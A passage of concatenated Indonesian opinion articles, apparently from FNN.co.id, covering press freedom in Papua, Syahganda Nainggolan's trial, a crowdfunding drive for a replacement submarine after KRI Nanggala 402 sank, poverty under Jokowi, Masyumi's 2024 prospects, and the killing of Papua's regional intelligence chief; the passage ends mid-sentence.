dan hak asasi manusia menjadi ganjalan utama 13 negara bagian untuk pertama kalinya tidak mau bergabung dengan negara Amerika Serikat pada konvensi Philedevia 1787. Empat tahun kemudian, pada amandemen pertama UUD Amerika Serikat, 1791, setelah soal kebebasan Pers dan HAM masuk dalam konstitusi, barulah 13 negara bagian menyatakan mau bergabung dengan Amerika Serikat. Isi amandemen itu bunyinya begini, “Presiden dan Kongres Amerika Serikat dilarang untuk membuat rancangan undang undang yang membatasi kebebasan Pers. Baru mulai berfikir untuk membatasi kebebasan Pers saja sudah dilarang oleh konstitusi Amerika Serikat. (dikutip dari editorial FNN.co.id) Betapa pentingnya kebebasan Pers ini untuk mendirikan negara baru seperti Amerika Serikat. Kebebasan pers itu sudah dibutuhkan sejak abad ke-17 lalu. Dimana kebebasan pers itu jugalah yang menyatukan negara-negara bagian di Amerika Serikat hari ini. Makanya kebebasan pers di abad modern dan milenial seperti sekarang ini, justru terlihat jauh lebih maju dan lebih beradap. Kebebasan pers kemudian bukan hanya menjadi sarana, tetapi juga tujuan utama dalam bernegara dan membangun negara. Kebebasan pers menjadi salah satu alat kontrol terhadap penyelenggara negara yang digaji dari pajak rakyat. Kebebasan Pers di Papua? Ini sudah masuk di abad 21. Abad dimana dikenal dengan abad teknologi 4.0 (four foint zero), sehingga keberadaan pers mestinya berada di titik tertinggi dalam dunia teknologi yang modern ini. Sayangnya, kebebasan pers di Indonesia, khususnya untuk Papua menjadi masalah serius. Bahkna menjadi masalah berat. Sebab banyak wartawan di Papua yang diteror ketika mencoba memberikan pemberitaan yang berimbang. Dalam konteks Papua, media yang memberikan pemberitaan yang objektif sangat sulit ditemukan. Kebanyakan media hanya memberitakan infromasi versi kekuasaan, sehingga keberadaan media kerap kali turut memberikan legitimasi kekerasan di Papua. Media takk berani mengungkapkan fakta agar kekerasan di Papua bisa diubah menjadi Papua yang damai. Hanya ada beberapa media di Papua yang sangat objektif dan selalu memberitakan fakta-fakta peristiwa secara objektif , seperti Tabloid Jubi, dan Suara Papua. Mungkin ada media-media kecil lainnya seperti Jelata News Papua. Sementara untuk tingkat nasional, ada media FNN (Forum News Networ), yang selalu mengungkapkan kebenaran di luar kekuasaan. Selain itu ada juga Tirto dan CNN yang cukup objektif untuk mengungkapkan fakta. Terhadap terror yang dilakukan kepada Victor Mambor, pemimpin umum Tabloid Jubi adalah upaya untuk menutupi kebebasan pers di Papua. Tentu ini adalah tindakan tidak terpuji. Upaya seperti ini bisa kita hubungkan juga dengan upaya menutup media Suara Papua. Kemudian upaya memutus jaringan internet, bahkan menurut Ketua AJI Papua, bahwa itu erat kaitannya dengan pemberitaan Tablid Jubi. Peristiwa ini dapat diduga sebagai upaya besar untuk menutup kebebasan pers. Tindakan tersebut sudah melanggar UU Nomor 40 Tahun 1999 Tentang Pers. Indonesia jauh ketinggalan dengan Amerika soal kebebasan pers. Perilaku bandid dalam melakukan upaya menutupi kebebasan pers masih saja dilakukan di era globalisasi. Wajah Indonesia seakan masih di bawah abad ke-16. Dalam situasi perang yang sangat sengit saja pun, kebebasan pers masih tetap dipelihara dan dijaga. Indonesia, tidak ada perang sengit. Upaya pengungkapan kebenaran dan media yang menyampaikan informasi yang benar dan berimbang malah diteror secara tidak terpuji. Tujuannya untuk membungkam dan menutupi informasi sebenarnya. Sangat memalukan dalam kehidupan berbangsa. Polisi Harus Ungkap Pelaku. Kejahatan yang dilakukan terhadap Victor Mambor adalah menteeror wartawan. Sebagai upaya untuk membungkam kebebasan pers di Indonesia. Bahkan tindakan ini menunjukan rendahnya martabat berbangsa. Indonesia harus belajar dari Amerika soal kebebasan pers. Setiap wartawan wajib hukumnya dilindungi oleh negara tanpa alasan apapun. Patut diduga bahwa kejahatan yang dilakukan adalah yang melibatkan kekuatan atau tangan-tangan lain. Semua itu memiliki keinginan yang sama, yaitu menutupi informasi yang objektif dengan cara menyerang pers yang objektif dan pers yang berintegritas di Papua. Ini bagian dari upaya mematikan media di Papua agar tidak pempublikasi informasi yang benar di Papua. Dengan prinsip perlindungan pers di Indonesia, polisi diharapkan mengungkap dan menangkap siapa pelaku dan dalang dibalik upaya-upaya memamatikan dan menutup akses media di Papua. Kapolri harus mendesak Kapolda Papua agar segera secara propesional mengungkap kejahatan yang dialami wartawan Tabloid Jubi. Sehingga dapat memberikan efek jerah pada mereka yang menghambat kebebasan pers di Papua. Penulis adalah Aktivis Kemanusiaan Asal Papua.

Please Pak Hakim, Bebaskan Dr. Syahganda Nainggolan

by Dr. Margarito Kamis SH. M.Hum Jakarta FNN - Perkara Dr. Syahganda Naingolan telah memasuki babak akhir. Hakim yang menyidangkan dan memeriksa perkara ini segera menjatuhkan putusan. Akankah hakim sependapat dengan Jaksa Penuntut Umum yang menuntut Dr. Syahganda dijatuhi hukuman penjara 6 (ernam) tahun, setengahnya atau dibebaskan? Tersediakah alasan yang bersumber dari fakta persidangan untuk hakim pijaki secara jujur sehinga dapat menyatakan hukum yang berberda dengan yang dituntut oleh JPU? Misalnya hakim menyatakan benar tuduhannya terbukti. Tetapi hal yang terbukti itu tidak beralasan hukum yang logis untuk dinyatakan sebagai perkara pidana, sehingga Syahganda diputus lepas dari segala tuntutan hukum, onslag van rechtvervolging? Persidangan perkara ini dilakukan secara terbuka. Fakta persidangan tersebar luas. Dapat diidentifikasi oleh berbagai pihak. Fakta ini memungkinkan siapapun menganalisisnya, dan membayangkan hukum yang akan ditetapkan hakim. Fakta yang tersebar itu telah cukup berbicara secara gamblang bahwa perkara, dengan semua argument hukum yan tersedia, tidak dapat dikualifikasi sebagai pidana. Saya tidak akan menyajikan lagi argumen-argumen teknis hukum pada kesempatan ini. Sebab argumen-argumen itu telah saya sajikan pada artikel-artikel sebelumnya. Kali ini saya ingin menyajikan dimensi lain. Dimensi yang hendak saya sajikan adalah relasi antara peradilan dengan bobot rule of law. Bagi saya soal terpenting pada titik ini adalah apakah hakim memahami eksistensinya dalam spectrum rule of law? Sebab rule of law tidak meminta banyak dari hakim. Yang diminta rule of law kepada hakim hanyalah membebaskan diri dari lilitan penguasa. Itu saja. Tidak lebih dari itu. Independensi atau kemandirian hakim tidak ditentukan oleh pernyataan dalam huruf-huruf konstitusi. Sama sekali tidak. Eksistensi independensi, sepenuhnya merupakan cerminan sikap pribadi hakim. Praktis sikap pribadi hakimlah merupakan kunci independensi peradilan. Cara berpikir atau penalaran hakim tertuang dalam pertimbangan-pertimbangan putusan. Penalaran merupakan cerminan level mahkota hakim, sekaligus level mahkota independensi itu. Disebut mahkota hakim, karena penalaran hakim mencerminkan kadar dan level ilmunya. Level ilmu merupakan cerminan level kebijaksanaannya. Level kebijakan merupakan cerminan dari kombinasi manis antara pemahaman ilmu hukum, ilmu pengetahuan lainnya, termasuk keadaan faktual. Ilmu apa yang dapat digunakan secara logis untuk membuat kongklusi bahwa pengrusakan yang terjadi dalam satu demontrasi tolak RUU Omnibus Cipta Kerja sebagai pidana? Ilmu hukum tidak menyediakan satu pun dimensinya untuk diambil dan digunakan sebagai pijakan membuat kongklusi demontrasi yang disertai pengrusakan itu bersifat pidana. Pengrusakan harus dikualifikasi sebagai tindak pidana. Tetapi bukan kegiatan demonstrasinya. Ilmu hukum dibangun dengan prinsip perbuatan para perusak itulah yang harus dipidana. Bukan kegiatan demontrasinya yang dinyatakan pidana. Itu sebabnya para perusak dalam demonstrasi tolak RUU Omnibus Cipta Kerja saja yang ditangkap dan diproses hukum. Ini logis dan benar menurut hukum. Yang tidak benar adalah demonstrasi dikualifikasi sebagai pidana. Sekali lagi ini tidak benar. Sangat buruk dan primitif. Tidak benar, bukan disebabkan oleh demonstrasi itu merupakan tampilan ekspresif dari hak berbicara dan menyatakan pendapat yang dijamin dalam UUD 1945. Sebabnya adalah sistem hukum memberi sifat hukum pada demonstrasi sebagai tindakan hukum yang sah dan legal adanya dalam kehidupan bermasyarakat, berbangsa dan bernegara kita. Tidak ada penalaran yang dapat digunakan untuk menyatakan hal hukum yang sah itu, berubah menjadi tidak sah hanya karena ada tindak pidana yang dilakukan oleh sekelompok orang. Demonstrasi itu, untuk semua cakrawala ilmu hukum konstitusi diterima sebagai bentuk kongkrit dari ekspresi hak masyarakat menyatakan pendapat. Menuliskan pikiran atas suatu hal, untuk alasan ilmu hukum konstitusi merupakan cara hak menyatakan penapat yang diberi bentuk dan eksis. Pada titik ini hakim harus tahu bahwa konsep hak menyatakan pendapat tidak bersifat tunggal. Hak ini dalam ekspresinya bersifat jamak. Konsep ini luas. Boleh saja demokrasi diisolasi atau relasi fungsional antara demonstrasi dengan hak menyatakan pendapat. Masalahnya cara itu menyangkal hukum alam, yang menjadi basis alamiah lahirnya konsep hak menyatakan pendapat. Eksistensi alamiah orang diukur antara lain oleh apakah lingkungan tempat orang itu hidup memungkinkan dia menggunakan akal pikirannya atau tidak. ​Soal ini memiliki sifat alamiah, dengan derajat fundamental. Itu sebabnya ilmu konstitusi memberi sifat hak menggunakan akal pikiran itu sebagai hak yang bersifat negatif. Negatif karena hak itu melekat pada diri setiap orang, siapapun orangnya, karena mereka adalah manusia. Melekatnya hak itu pada setiap orang sama sekali tidak ditentukan oleh sebab dari luar orang itu. Ini disebut sebab yang artifisial. Sama sekali bukan begitu. Melekatnya hak itu pada setiap orang, karena mereka, sekali lagi adalah manusia yang sebenarnya. Praktis hak itu ada dan melekat pada setiap manusia bukan karena dinyatakan dalam UU, positum. Ini harus dimengerti betul oleh hakim. Analisis Syahganda atas berbagai persoalan, termasuk menyatakan dukungannya atas rencana para pekerja berdemonstrasi menolak RUU Cipta Kerja, itu bukan perbuatan pidana, apapun alasannya. Sama sekali bukan. Demontran yang terus berdemonstrasi hinga batas waktu yang ditentukan, bukan pidana. Demontrasi yang melampaui waktu yang ditentukan, sekacau apapun, tidak dapat dikualifikasi sebagai onar menurut konsep onar dalam pasal 14 ayat (1) UU Nomor 1 Tahun 1946 Tentang Hukum Pidana. Apa argumennya? Demontrasi bukan onar menurut pasal 14 ayat (1) UU Nomor 1 Tahun 1946. Demontrasi menolak RUU Cipta Kerja misalnya, jelas maksudnya. Maksudnya adalah menolak RUU itu. Hal yang sedari awal jelas maksudnya, untuk alasan apapun, termasuk analogi, tidak dapat diserupakan dengan onar. Itu karena konsep onar dalam pasal 14 ayat (1) dan pasal 15 UU Nomor 1 Tahun 1946, sedari awal tidak jelas maksudnya. Itu menimbulkan ketakutan atau kebingungan atau kegaduhan ditengah masyarakat. Itulah onar. Ini diistilahkan dalam ilmu interpretasi dengan objective teleologis. Objective teleologis adalah maksud obyektif dari pembuat UU. Bahaya yang ditimbulkan dari keonaran itu harus kongkrit atau nyata-nyata adanya. Bukan hayalan. Ini yang dalam ilmu hukum disebut present danger. Present dangger inilah pulalah yang menjadi objective teleologis pasal 14 ayat (1) dan pasal 15 UU Nomor 1 Tahun 1946. Praktis sifat bahanya harus present. Bukan potential danger atau bahaya yang dibayangkan secara hipotetik. Konsep present danger ini, hemat saya mencerminkan secara nyata pemerintah kala itu mengerti sifat alamiah warga negara yang mengekpresikan hak menyatakan pendapatnya. Ekspresi hak itu harus jelas maksudnya. Itu sebabnya yang dilarang adalah ekspresi hak yang tidak jelas maksudnya. Itulah yang harus dikenali benar oleh hakim yang memeriksa dan memutus perkara ini. Konyol sekali kalau demonstrasi yang menimbulkan ekses dijadikan titik tolak menyatakan demonstrasi itu sebagai onar. Bila demonstrasi yang menimbulkan dikualifikasi sebagai onar, maka akibatnya jelas. Bangsa ini ditarik jauh kebelakang meliputi masa-masa zaman penjajahan dulu. Menarik bangsa ini ke masa-masa zaman penjajahan memang merupakan soal besar. Tidak lebih dari menjungkir-balikan sesuatu yang secara alamiah diterima sebagai postulat tentang eksistensi manusia merdeka. Disebut manusia merdeka, karena cara itu mengingkari apa yang secara alamiah menjadi parameter kemanusiaan manusia. Menghukum perbuatan analisis terhadap sesuatu yang dalam sistem hukum telah dikualifikasi buruk, misalnya “cukong” jelas konyol. Beda angka yang dikutip dari pernyataan orang, tak dapat diinterpretasi sebagai telah terjadi kebohongan. Selisih lebih atau selisih kurang dari angka yang dinyatakan orang dan dikutip oleh Syahganda, tidak dapat diinterpretasi sebagai menyebar kebohongan. Sebabnya sifat dasar kenyataan itu tidak berubah. Sifat dasarnya tetap buruk. Buruk memang dapat dibuat gradasinya. Tetapi apapun gradasinya, cukong itu tetap saja buruk dalam semua sifatnya menurut sistem hukum yang eksisting. Konsekuensi level gradasi tidak dapat dijadikan “denominator dominan” atau “determinative factor” untuk menyatakan perbedaan gradasi menjadi kunci adanya “berita bohong” yang disebarkan. Hakim, tidak dapat menggunakan perbedaan angka itu sebagai “denominator dominan” yang mempertalikan dan mengutuhkan dua kenyataan berbeda itu, lalu membuat kongklusi adanya kebohongan. Pembaca FNN yang budiman. Tak masuk akal mengesampingkan sifat alamiah berpikir dan menyatakan pikiran. Berpikir dan menyatakan hasil pikirnya itu, merupakan hal alamiah yang bersifat categorial imperative dalam spektrum Immanuel Kant, filosof Jerman ini. Menghukum pikiran, jelas mengingkari sifat alamiah, yang Immanuel Kant sebut cateogorial imperative itu. Benar-benar patut ditertawakan bila hal yang bersifat imperative itu secara alamiah disingkirkan. Harus ditertawakan, oleh karena hal itu mencerminkan orang kehilangan bawaan alamiahnya. Padahal justru untuk mengagungkan hal yang secara alamiah merupakan parameter kemanusiaan, dan itu bersifat kategorial, peradilan dan hakim dihadiahi atau diatributifkan dengan senjata yang bernama “independensi” peradilan. Demi hukum dan bawaan alamiah manusia, tidak hanya untuk Syahganda Nainggolan, tetapi untuk semua warga negara Indonesia, yang UUD atribusikan eksistensi mereka sebagai orang merdeka, maka Syahganda harus bebas. Sungguh tak tersedia alasan masuk akal untuk menghukumnya. Semoga. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Rakyat Patungan Membeli Kapal Selam Pengganti Nanggala 402

by Agi Betha Bekasi FNN - Rakyat bangkit untuk membeli Kapal Selam baru. Gerakan rakyat untuk patungan membeli Kapal Selam sendiri sebagai pengganti KRI Nanggala 402 yang tenggelam di laut Bali. Gerakan yang akan tercatat dalam sejarah Indonesia. Bahkan pada buku sejarah dunia. Gerakan ini akan bergulir menjadi peristiwa sejarah yang fenomenal. Baru kali ini ada rakyat di sebuah negara yang mengalami duka yang sangat mendalam akibat kehilangan prajurit-prajurit terbaiknya. Hilangnya prajurit terbaiknya bukan karena suatu pertempuran dengan negara lain. Tetapi akibat dari Alat Utama Sistem Persenjataan (Alutsista) yang sudah berumur 40 tahun lebih. Maka, untuk melindungi dan keamaan bangsanya sendiri, rakyat sontak menciptakan usaha swadaya berupa pengumpulan dana untuk membeli Alutsista tempur Kapal Selam. Rakyat patungan untuk membeli Kapal Selam pengganti KRI Neggala 402. Sebab rakyat sangat sadar kalau pemerintahnya yang berkuasa sedang sibuk-sibuknya mencari dan mengalokasikan dana besar-bsaran untuk memindahkan ibukota negara ke Kalimantan Timur. Proyek yang membutuhkan biaya raksasa senilai Rp 466 triliun. Namun untuk membeli kapal selam baru susahnya minta ampun. Rakyat juga menyadari, waktu untuk pemerintah telah habis hanya untuk mencari utangan sana-sini demi untuk menambal Anggaran Pendapatan dan Belanja Negara (APBN) yang pada Maret 2021 ini saja, sudah tekor sebesar Rp 144 trilun. Rakyat pun sangat paham, kalau penguasa negaranya sedang panik dalam mengejar-ngejar pajak, dengan membuat daftar baru barang-barang milik rakyat yang perlu untuk dipajaki. Rakyat harus dikuras melalui pajak demi mengisi kas negara yang kosong. Rakyat merasa kasihan melihat pemerintahnya. Karena segala daya dan upaya yang sudah dikerahkan pemerintah agar Rp 11.000 triliun duit WNI yang diparkir di luar negeri agar dibawa kembali ke sini, tak membuahkan hasil apa-apa. Padahal data-data para taipan kaya raya itu sudah ada di kantong Presiden sejak tahun 2016 lalu. Rakyat tidak pernah frustrasi. Rakyat selalu optimis. Nrimo. Juga rakyat tidak ada dendam, meski sering distigma buruk oleh pemerintahnya sendiri. Rakyat lagi berpikir, jika pemerintah sudah tidak mampu melindungi negara dan seisinya, maka mereka sendirilah yang akan bergotong royong melindungi diri sendiri. Tanpa perlu ribut-ribut menggugat dan menghujat. Tetapi langsung bertindak ngumpul dana. Makanya, tak heran jika ajakan Ustadz Abdul Somad di Instagram pribadinya agar umat mendukung “Gerakan Patungan Membeli Kapal Selam oleh Masjid Jogokaryan Jogja”, langsung disambut gegap gempita oleh rakyat. Menjadi pembicaraan dimana-mana. Menjadi “talk of the town” atau buah-bibir di sela-sela keheningan rakyat menunaikan ibadah Ramadhan tahun ini. Rasa duka cita rakyat yang mendalam karena kehilangan 53 prajurit terbaiknya bersama tenggelamnya KRI Nanggala 402, berubah menjadi harapan. Rakyat yang selalu merasa satu jiwa bersama dengan TNI menggumamkan asa bahwa tragedi yang menimpa para prajurit pilihan “Hiu Kencana” itu tak boleh sia-sia. Tidak boleh terulang lagi hanya karena peralatan yang sudah berumur 40 tahun lebih. Rakyat berkeinginan agar pasukan dan prajurit tarbaik ini seperti Yontaifib, Kopaska, Denjaka, Marinir dan seluruh prajurit TNI Angkatan Laut lainnya harus tetap bangga menjaga negaranya. Memiliki kecanggihan peralatan tempurnya yang sejajar dengan milik negara lain. Rakyat bermimpi ingin menjadikan Indonesia seperti dahulu kala. Sebagai salah satu negara yang memiliki kekuatan tempur terbaik dan terbesar di Asia. Makanya biarlah hilang satu, asalkan tumbuh seribu. Rakyat berduka dengan ikhklas merelakan KRI Nanggala 402 beristirahat tenang di dasar samudera. Namun rakyat Indonesia akan membelikan penggantinya yang lebih canggih melalui ajakan yang dipimpin oleh Ustadz Abdul Somad. Antusiame rakyat pun membahana di seluruh pelosok negeri. Bayangkan, baru diupload selama 6 jam saja. Namun poster ajakan tokoh bangsa yang dikenal dengan sebutan UAS tersebut di Instagram untuk mendukung ide Masjid Jogokaryan Jogja dan menyumbang duit untuk membeli Kapal Selam sendiri itu, sudah disukai oleh 121 ribu lebih netizen. Termasuk disukai oleh akun resmi TNI Angkatan Laut. Status instagram UAS itu juga panen komentar, yakni ada 4.336 komentar yang umumnya mendukung seruan positif tersebut. Poster itu pun menjadi tenar. Karena di-download dan dibagikan ke berbagai media sosial. Gerakan ini benar-benar telah membuat kebangkitan untuk selalu bersama-sama dengan anak kandunya TNI dalam menjaga dan menyelamatkan bangsanya. Sementara itu di dunia nyata, rakyat Jogja juga menyambut gembira ajakan Masjid Jogokaryan. Masjid yang selama ini sangat dipercaya karena terkenal amanah dalam mengelola uang jamaah itu, menuai pujian. Ajakan orisinil itu menggerakan hati umat. Dari kelas papa hingga kaya raya. Seribu, dua ribu, uang berwarna hijau, biru, dan merah, pelahan mulai terkumpul. Melihat besarnya antusiasme rakyat dalam menyambut seruan perjuangan dari Masjid dan Takbir dari ulamanya ini, maka dapat diprediksi bahwa Gerakan Open Donasi tersebut akan menjadi bola salju yg menggelinding. Makin lama semakin membesar. Karena seruan dari satu ulama pewaris ilmu Nabi Salallaahu Alaihi Wasallam, biasanya akan digemakan oleh para ulama-ulama hanif lainnya. Gerakan ini akan menjadi orkestra ajakan yg menggema dari ujung barat hingga ujung timur Indonesia. Dari Sabang sampai Merauke. Dari Pulau Nias sampai Mianga. Mari dukung Indonesia memiliki kapal selam baru yang canggih dan aman bagi para prajurit TNI penjaga laut Nusantara. Cita-cita luhur yang lahir dari rahim ibu pertiwi dan dikumandangkan oleh ulama ini, insya Allah akan membawa kejayaan bagi rakyat dan Negara Indonesia sebagai negara kepulauan terbesar di dunia. Allahu Akbar, Allahu Akbar, Allahu Akbar...!!! Jelasveva Jayamahe, Merdekaaaaaaaa...!!! Penulis adalah Wartawan Senior dan Pemehati Bangsa

Rakyat Miskin Bertambah Jokowi di Mana

INDONESIA kaya raya. Apa saja bisa dijumpai. Mau menanam apa saja, bisa tumbuh subur. Akan tetapi, negara yang kaya raya masih tetap saja masuk dalam kotak negara berkembang. Jika.dilihat dari jumlah penduduknya, sangat banyak yang miskin dan berada di bawah garis kemiskinan. Apalagi, Coronavirus Disease 2019 (Covid-19) yang membuat jumlah rakyat miskin bertambah. Berdasarkan data Badan Pusat Statistik (BPS), jumlah penduduk miskin Indonesia pada September 2020 mencapai 27,55 juta orang. Angka yang diumumkan pada 15 Februari 2021 itu menunjukkan jumlah penduduk miskin bertambah cukup besar jika dibandingkan bulan September 2019. Kepala BPS Suhariyanto menjelaskan, jumlah tersebut meningkat 2,76 juta jiwa dibandingkan posisi September 2019 yang mencapai 24,97 juta orang. "September 2020 jumlah penduduk miskin Indonesia adalah 27,55 juta orang, atau setara dengan 10,19 persen (dari jumlah penduduk)," kata Suhariyanto. Angka penambahan 2,76 juta jiwa itu bukan kecil. Covid-19, salah satu biang keroknya. Hampir seluruh golongan masyarakat merasakan dampak pandemi corona yang berasal dari Wuhan, Republik Rakyat China. Akan tetapi, masyarakat yang berada pada lapisan bawah terdampak lebih dalam dibandingkan masyarakat lapis atas. Faktor yang menyebabkan peningkatan jumlah kemiskinan yakni penurunan pendapatan yang dialami oleh hampir seluruh lapisan masyarakat. Banyak buruh atau pekerja yang kehilangan pekerjaan karena dirumahkan dan terkena PHK (Pemutusan Hubungan Kerja). Jika buruh atau pekerja rata-rata di daerah perkotaan, maka kemiskinan di pedesaan justru dialami para petani, terutama buruh tani. Hal tersebut disebabkan harga komoditas pertanian, termasuk harga beras turun. Harga komoditas ekspor, misalnya karet dan minyak sawit juga turun. Fluktuasi harganya membuat sebagian petani tidak bergairah memanen. Nah, empat bulan pertama 2021 (Januari sampai akhir April), Covid-19 masih menyebar. Tidak ada tanda-tanda berhenti, apalagi dengan ditemukannya varian baru. India, sudah kewalahan menghadapinya. Jika Covid-19 tidak segera berakhir, maka tahun 2021 ini jumlah pendudik miskin diperkirakan bertambah. Kita bukan mengharap, apalagi mendoakannya. Tetapi, hal itu jika dilihat dari kenyataan yang terjadi tahun 2020 yang lalu. Lalu di mana pemerintahan Joko Widodo-Ma'rif Amin? Apakah masih terus ngotot mengenjot pembangunan infrastruktur yang banyak mubazir? Mana usaha pemerintah dalam menyejahterakan rakyat, terutama kaum miskin itu. Pembangunan insfrastruktur, termasuk membangun ibu kota negara baru, jika dilakukan ketika pertumbuhan ekonomi baik (rata-rata tujuh persen), tidak masalah. Dalam.membangun harus ada hitung-hitungannya (walaupun tidak selamanya hitungan untung dan rugi). Jangan memaksakan pembangunan jalan tol misalnya, di daerah yang kurang membutuhkan. Sebab, itu akan merugi, walaupun merupakan penugasan kepada Badan Usaha Milik Negara (BUMN). Semestinya, Jokowi dan jajarannya lebih mementingkan pembangunan yang dapat mempercepat kesejahteraan rakyat. Pembangunan yang dapat mempercepat hasil-hasil petani di pedesaan bisa segera dibawa ke kota, dijual dengan harga menguntungkan. Artinya, pembangunan wilayah pedesaan harus digenjot lebih dahsyat lagi. Ya, menggenjot pembangunan jalan antar-desa, pembangunan irigasi, mencetak sawah baru, penyediaan bibit tanaman yang bisa dibeli murah (syukur-syukur gratis) dan pembangunan lainnya yang pro rakyat miskin, pro petani dan pro pedesaan. Jadi, bukan ngotot membangun ibu kota negara yang baru. Bukan ngotot membangun jalan tol yang menguntungkan kontraktor, tetapi membuat buntung (merugi) sebagian pengelola. Joko Widodo, ayo tinjau ulang pembangunan insfrastruktur yang tidak mendesak, dan tidak membawa dampak (dalam jangka pendek dan menengah) bagi kesejahteraan rakyat. Apalagi dana pembangunannya dari utang terus. **

Partai Masa Islam Berpeluang Maraih Suara Besar 2024

by Luqman Ibrahim Soemay Jakarta FNN - Korupsi bertubi-tubi dilakukan oleh partai-partai yang berkuasa saat ini dalam koalisi Presiden Jokowi. Apalagi korupsi yang menjijikan itu dilakukan saat rakyat sedang menderita dalam situasi bencana pandemi covid-19, maka muncul semacam public distrust (ketidakpercayaan publk) yang meluas terhadap partai-partai yang berkuasa saat ini. Pendapat itu disampaikan pengamat politik dari Universitas Negeri Jakarta (UNJ) Ubedilah Badrun saat ditanya usai berbicara di acara Orientasi dan Rakernas Partai Masyumi di Hotel Balairung Jakarta, Sabtu (24/4/21) lalu. "Faktanya korupsi yang marak itu terjadi di tengah bencana yang sangat nekena kehidupan dan daya beli masyarakat saat ini, jutru dilakukan oleh partai-partai yang sedang berkuasa. Misalnya, maaf saya sebutkan, kalau korupsi itu dilakukan oleh menteri yang berasal dari PDIP dan Partai Gerindra yang notabenenya bukan dari partai Islam" ujar Ubedilah Badrun. Tentu partai Islam sebagai anti tesis memiliki peluang lebih besar dibanding partai lain yang sekuler (non Islam). Apalagi jika memiliki gagasan gagasan baru yang solutif dalam menghadapi problem bangsa saat ini yang bermasalah hampir di semua bidang kehidupan. Momentum ini menjadi peluang untuk mendulang suara besar. Untuk itu, mesin politik partai Islam harus kerja keras sejak saat ini. Adapun peluang partai baru seperti Masyumi menurut pengamat politik papan atas ini memiliki peluang yang cukup besar. Juga bakal diperebutkan oleh partai-partai baru lainya karena ceruk pemilihnya masih banyak. "Ceruk pemilih untuk Masyumi itu masih banyak. Diantaranya masih ada Golongan Putih (Golput) yang kurang lebih dari 25% pemilih. Ada swing voters sekitar 16%, dan ada juga undecided voters sekitar 20%. Apalagi sangat mungkin akan dapat limpahan suara dari PBB yang pemilu lalu terpuruk mulai, karena ditinggalkan pemilih tradisionalnya " tegas Ubedilah. Selain itu, Partai Masyumi ini menurut pengamat yang juga tokoh aktivis ‘98 ini memiliki modal historis dan kultural yang bagus. Masyumi ini secara historis memiliki modal besar karena sumbangsihnya pada negara dalam menyatukan kembali Indonesia dalam bingkai NKRI setelah sempat menjadi negara serikat yang terpecah-pecah. Modal Masyumi itu dikenal dengan “Mosi Integral Muhamad Natsur”. Selain itu keberadaan mantan penasehat KPK Abdullah Hehamahua sebagai Ketua Majelis Syuro Masyumi adalah modal kultural yang penting karena beliau dikenal sebagai tokoh nasional memiliki integritas yang tinggi. Bersih dari hal-ihwal yang berkaitan dengan korupsi atau barang yang sifatnya haram. Sementara Ketua Umum DPP Masyumi Ahmad Yani menyatakan bahwa langkah-langkah penting partai Masyumi akan terus dilakukan diantaranya mengajak generasi muslim milenial untuk bergabung. Pemilih muda pada pemilu 2024 itu jumlahnya lebih dari 50 %. Karenanya Masyumi jugu sebaiknya cncern soal itu, dengan mengajak generasi milenial dan generasi Z ini untuk bergabung. Alhamdulillah sudah mulai banyak yang bergabung. “Kami ingin membuktikan bahwa kepada masyarakat Indonesia Masyumi kini bukan partainya orang-orang tua. Tetapi juga partainya generasi milenial " ungkap Ketua Umum Partai Masyumi, Ahmad Yani yang dikenal sebagai tokoh oposisi dan juga mantan anggota DPR RI. Penulis adalah Wartawan FNN.co.id

Kematian Kabinda Papua, Presiden Harusnya Ganti Kepala BIN

by George Elkel Ambon FNN - Saat membaca kematian Kepala Badan Intelijen Daerah (Kabinda) Papua Brigjen TNI Gusti Putu Danny Nugraha yang di tembak di dekat Gereja, saya mulai berpikir, apakah Kelompok Kriminal Bersenjata (KKB) organisasi bentukan yang teroganisir dan terlatih? Sebab mereka bisa punya jaringan ke tubuh institusi rahasia sekalipun seperti Badan Intelijen Negara (BIN). Apakah KKB ini murni dari sayap Organisasi Papua Merdeka? Mengapa demikian? Sebab KKB dalam memilih terget seorang Kebinda Papua itu sungguh sangat provisional dan terlatih. Selain itu, setiap turunnya Kabinda ke daerah selalu adanya Operasi tertutup. Perjalanannya sangat rahasia. Surat perjalanan dikirimkan ke Kepala BIN Pusat. Mengulas dari kematian Kabinda Papua, kita tau dalam sejarah OPM, target yang dipilih separatis OPM selalu saja tidak asal bunuh. Selalu membunuh musuh dengan membedakan, baik dari suku, jenis kulit dan lainnya. Mereka tidak asal mengeksekusi atau membakar secara membabi buta. Namun dalam selang beberapa waktu terakhir, sampai pada hari kematian Kabinda Papua, saya percaya KKB yang sering melakukan penyerangan kepada warga adalah KKB teroganisir. Mereka terhimpun dalam kesatuan komando yang dibagi sesuai wilayah. Mereka adalah KKB yang terlatih khusus dalam hal mengalihkan isu, teror, gerakan taktis, dan menakut-nakuti pribumi rakyat papua. Tujuan dari KKB ini bervariasi. Namun dari setiap postingan klip KKB di youtube, seakan-akan KKB ini ganas dan seperti teroris. Hal ini bisa saja memicu KKB dalam taktik untuk di usulkan sebagai teroris. Pernah ada usulan KKB dan OPM di Papua ditetapkan sebagai organisasi teroris. Gagasan untuk menetapkan KKB dan OPM di Papaus sebagai organsiasi teroris pernah diusung Badan Nasional Penanggulangan Terorisme (BNPT) dalam rapat kerja dengan Komisi III DPR RI di Jakarta, Senin 22/03/2021. “Alasannya KKB dan OPM menyerang anggota TNI/Polri dan masyarakat sipil di Papua” kata Kepala BNPT, Komisaris Komjen. Pol. Dr. Drs. Boy Rafli Amar, MH. Kalau dilihat dari pola gerakannya, KKB dan OPM sejak awal sudah berbeda. Sebab ada anggota TNI dan Polri yang membelot, dan masuk OPM. Itu sebagai akibat dari kekejaman oknum anggota TNI dan Polri yang bertugas di Papua terhadap rakyat Papua. Rakyat tidak diperlakukan sebagai saudara. Apalagi memperlakukan lawan sebagai kawan, yang akhirnya mau menjadi saudara. Harusnya pendekatan yang dilakukan adalah dengan mencontoi pola dan pendekatan TNI asal Maluku yang di turunkan ke Papua. Banyak hal manfaat yang bisa didapat. Misalnya, kebijakan OPM tidak mau menempatkan anggota TNI asal Maluku yang ditugaskan di Papua sebagai target serangan. Karena masih dianggap sebagai saudara. Kalau OPM tidak asal serang dan membunuh. OPM masih pilih-pilih target yang mau diserang. Menjadi pertanyaan, apakah pembunuhan, ancaman, pembakaran yang dilakukan KKB ini merupakan bagian atau perpanjangan tangan dari OPM? Atau KKB bentukan khusus yang terlatih untuk melakukan serangan taktis dan cepat dalam menembak, membakar dan meninggalkan lokasi. Kalau diamati hal-hal menarik dari pola KKB yang tersebar youtube, nampak seorang anggota KKB sebarkan ancaman, serta dalam hal KKB bercakap dengan pimpinannya soal 